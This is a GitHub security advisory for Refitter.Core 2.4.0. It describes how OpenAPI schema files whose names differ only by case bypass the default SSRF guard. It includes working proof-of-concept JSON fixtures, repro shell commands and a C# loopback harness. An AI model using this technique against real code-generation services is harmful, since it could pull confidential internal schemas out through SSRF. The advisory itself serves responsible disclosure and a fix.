Skip to main content
Menu
Advisories

Case-Colliding OpenAPI References Bypass Refitter's Default SSRF Guard

GHSA-25J7-XPJ3-7JF9Published Updated GitHub

Description

Case-Colliding OpenAPI References Bypass Refitter's Default SSRF Guard

Summary

Refitter.Core 2.4.0's default remote-reference guard can be bypassed when an OpenAPI document references two sibling schema files whose names differ only by case on a case-sensitive filesystem: the guard skips the second file, then the generator fetches its nested HTTP $ref and incorporates the response into generated source. A lowercase-only control is correctly blocked. In a generation service that accepts untrusted bundles, can reach a highly confidential internal schema endpoint, and returns generated source to the submitter, this can disclose that schema to the submitter.

Technical Details

The supported RefitGenerator.CreateAsync API passes the local document through OpenApiDocumentFactory.CreateAsync, which invokes ReferenceGuard.ValidateAsync before DocumentLoader.LoadAsync. The guard creates visited with StringComparer.OrdinalIgnoreCase and returns early from ValidateLocalFileAsync when visited.Add(filePath) is false. On a case-sensitive filesystem, Model.json and model.json are separate files but collide in that set. The first file is checked; the second file's contents, including its nested absolute HTTP $ref, are skipped by the guard. The downstream resolver then loads that lowercase file, and the probe observes the HTTP request.

RefitGeneratorSettings.AllowRemoteReferences has no initializer, so its default is false. Its source documentation says remote references are disabled by default to prevent generation-time SSRF. The caller does not set this option in the proof. The behavior is therefore an unintended bypass of a Refitter-owned network boundary, rather than use of trusted operator configuration.

PoV

On a case-sensitive filesystem, the positive document and sibling files are:

positive/openapi.json

~~~json {"openapi":"3.0.0","info":{"title":"CaseCollisionRemoteProbe","version":"1"},"paths":{},"components":{"schemas":{"Alpha":{"$ref":"Model.json#/components/schemas/Pet"},"Beta":{"$ref":"model.json#/components/schemas/Pet"}}}} ~~~

positive/Model.json is benign:

~~~json {"components":{"schemas":{"Pet":{"type":"object","properties":{"Safe":{"type":"string"}}}}}} ~~~

The harness writes positive/model.json from this template, replacing REMOTE_SCHEMA_URL with its ephemeral loopback URL:

~~~json {"components":{"schemas":{"Pet":{"$ref":"REMOTE_SCHEMA_URL"}}}} ~~~

The negative control contains only the lowercase reference:

control/openapi.json

~~~json {"openapi":"3.0.0","info":{"title":"CaseCollisionRemoteControl","version":"1"},"paths":{},"components":{"schemas":{"Beta":{"$ref":"model.json#/components/schemas/Pet"}}}} ~~~

control/model.json is generated from the same template. Since the guard visits that file in the control, it blocks its HTTP $ref before any request is made.

PoC

Check out the tested source revision and save the appendix project, program, and fixtures at the paths shown above. From the repository root, run:

~~~sh git clone github.com/christianhelle/refitter.git cd refitter git checkout bf77ef633cd182563748fd7828e2d06bb24e1dd5 mkdir -p repro/positive repro/control

Save the appendix files under repro/ and the fixture paths shown in PoV.

dotnet run --project repro/Probe.csproj -- positive repro/positive/openapi.json dotnet run --project repro/Probe.csproj -- control repro/control/openapi.json ~~~

The probe binds only to 127.0.0.1 on an ephemeral port. It serves a valid JSON schema whose description is REMOTE_SCHEMA_FETCHED_MARKER, then calls RefitGenerator.CreateAsync with default settings and checks whether the marker appears in generated code. Relevant output from the tested source revision, with build warnings omitted:

~~~text positive hits=1 marker=True exception= result=violation control hits=0 marker=False exception=ReferenceResolutionException result=pass ~~~

The reproducer is a standalone console harness against pinned Refitter revision bf77ef633cd182563748fd7828e2d06bb24e1dd5, with a net11.0 project run in the .NET SDK image mcr.microsoft.com/dotnet/sdk@sha256:65f3c7c6a25a239ab3e6719f2896147e7b68242ff2d8818dd70498bde6ef8bea on a case-sensitive Linux filesystem, where Model.json and model.json are distinct sibling files.

Impact

The base CVSS 3.1 vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N, scoring 4.7 Medium. Its demonstrated base impact is limited to low confidentiality impact from the attacker-controlled destination observing the generation worker's network request; the proof establishes no integrity or availability impact.

For a supported generation-service deployment where (1) untrusted submitters can provide OpenAPI bundles, (2) the generator worker can reach a highly confidential internal schema endpoint over HTTP, and (3) generated source is returned to that same submitter, the fetched schema content is included in the returned output. With environmental metrics CR:H/MC:H, the full vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N/CR:H/MC:H, scoring 9.5 Critical environmental. This is a conditional Critical environmental assessment for that deployment, not a score for every installation. Without the stated reachability and output-return conditions, the demonstrated rating remains 4.7 Medium.

The proof uses a loopback server and an attacker-controlled marker. It does not demonstrate access to a real internal endpoint or disclosure of that endpoint's response to an attacker outside the specified generation-service environment.

Suggested Fix

Use visited-set identity semantics that match the filesystem and resolver. On case-sensitive filesystems, distinct paths such as Model.json and model.json must both be validated; on case-insensitive filesystems, aliases to the same file should still terminate recursion safely. A platform-aware path comparer or canonical filesystem identity can preserve both properties. Add a regression test with case-distinct sibling schemas, a nested HTTP $ref, remote references disabled, and a listener asserting zero requests; retain the lowercase-only control and add a case-insensitive-filesystem alias test.

Affected Package/Versions

  • Package: Refitter.Core (nuget).
  • Confirmed affected release: 2.4.0, the latest version listed by the NuGet flat-container index checked on 2026-11-20. Its nuspec points to repository commit d3d7382b4244762e3dd8e838be00b19273f86bae.
  • At that commit, ReferenceGuard.cs, RefitGenerator.cs, and OpenApiDocumentFactory.cs have the same content hashes as those files in the tested pinned revision bf77ef633cd182563748fd7828e2d06bb24e1dd5; the remote-reference setting remains default-false. This confirms the vulnerable route is present in 2.4.0 source. The PoC execution itself used the pinned source revision, not the published NuGet binary.
  • The reported affected range is exactly 2.4.0; older releases were not assessed. No patched release was identified.

Advisory History

No prior Refitter report we checked matches the case-collision-to-network-request behavior. The checked local report inventory contains no prior submitted, review-ready, or completed-but-unsubmitted report.

Related public reports cover different reference-guard failures. GHSA-x6w4-f264-3vvr / CVE-2026-63184 concerned unrestricted references and was fixed by PR #1173. GHSA-4f49-pm8q-mx4f concerned escaped remote $ref references; PR #1392 changed extraction to decode escaped JSON/YAML keys and values before guard checks. In this report, the reference syntax is ordinary: the case-insensitive visited set treats the distinct Model.json and model.json siblings as the same path on a case-sensitive filesystem, so validation skips the second file and misses its nested HTTP $ref. The earlier fixes address unrestricted-reference handling and escaped-reference recognition, but not this path-identity collision.

References

Appendix: Reproducer Files

repro/Probe.csproj

~~~xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net11.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup> <ItemGroup> <ProjectReference Include="../src/Refitter.Core/Refitter.Core.csproj" /> </ItemGroup> </Project> ~~~

repro/Program.cs

~~~csharp using System.Net; using System.Net.Sockets; using System.Text; using Refitter.Core;

var mode = args[0]; var specPath = args[1]; if (mode is not ("positive" or "control")) throw new ArgumentException("Unknown trial mode."); var root = Path.GetDirectoryName(specPath)!; var listener = new TcpListener(IPAddress.Loopback, 0); listener.Start(); var port = ((IPEndPoint)listener.LocalEndpoint).Port; var url = "127.0.0.1:" + port + "/schema.json"; File.WriteAllText(Path.Combine(root, "model.json"), File.ReadAllText(Path.Combine(root, "model.json.template")) .Replace("REMOTE_SCHEMA_URL", url, StringComparison.Ordinal));

using var cts = new CancellationTokenSource(TimeSpan.FromSeconds(8)); var hits = 0; var server = Task.Run(async () => { try { using var client = await listener.AcceptTcpClientAsync(cts.Token); Interlocked.Increment(ref hits); using var stream = client.GetStream(); var buffer = new byte[4096]; await stream.ReadAsync(buffer, cts.Token); var body = "{\"type\":\"object\",\"properties\":{\"Remote\":{\"type\":\"string\",\"description\":\"REMOTE_SCHEMA_FETCHED_MARKER\"}}}"; var bytes = Encoding.UTF8.GetBytes(body); var headers = Encoding.ASCII.GetBytes( "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: " + bytes.Length + "\r\nConnection: close\r\n\r\n"); await stream.WriteAsync(headers, cts.Token); await stream.WriteAsync(bytes, cts.Token); await stream.FlushAsync(cts.Token); } catch (OperationCanceledException) { } catch (ObjectDisposedException) { } catch (SocketException) { } });

var marker = false; var errorType = ""; var error = ""; try { var generator = await RefitGenerator.CreateAsync(new RefitGeneratorSettings { OpenApiPath = specPath, GenerateContracts = true, GenerateClients = false, GenerateXmlDocCodeComments = true, }); marker = generator.Generate().Contains("REMOTE_SCHEMA_FETCHED_MARKER", StringComparison.Ordinal); } catch (Exception ex) { errorType = ex.GetType().Name; error = ex.Message; }

await Task.Delay(250); cts.Cancel(); listener.Stop(); try { await server; } catch { } var violation = mode == "positive" && hits == 1 && marker; var controlPass = mode == "control" && hits == 0 && errorType == "ReferenceResolutionException" && error.Contains("blocked", StringComparison.OrdinalIgnoreCase); var result = violation ? "violation" : controlPass ? "pass" : "invalid"; Console.WriteLine(mode + " hits=" + hits + " marker=" + marker + " exception=" + errorType + " result=" + result); ~~~

repro/positive/openapi.json

~~~json {"openapi":"3.0.0","info":{"title":"CaseCollisionRemoteProbe","version":"1"},"paths":{},"components":{"schemas":{"Alpha":{"$ref":"Model.json#/components/schemas/Pet"},"Beta":{"$ref":"model.json#/components/schemas/Pet"}}}} ~~~

repro/positive/Model.json

~~~json {"components":{"schemas":{"Pet":{"type":"object","properties":{"Safe":{"type":"string"}}}}}} ~~~

repro/positive/model.json.template and repro/control/model.json.template

~~~json {"components":{"schemas":{"Pet":{"$ref":"REMOTE_SCHEMA_URL"}}}} ~~~

repro/control/openapi.json

~~~json {"openapi":"3.0.0","info":{"title":"CaseCollisionRemoteControl","version":"1"},"paths":{},"components":{"schemas":{"Beta":{"$ref":"model.json#/components/schemas/Pet"}}}} ~~~

Affected versions

References

GitHub · christianhelle/refitter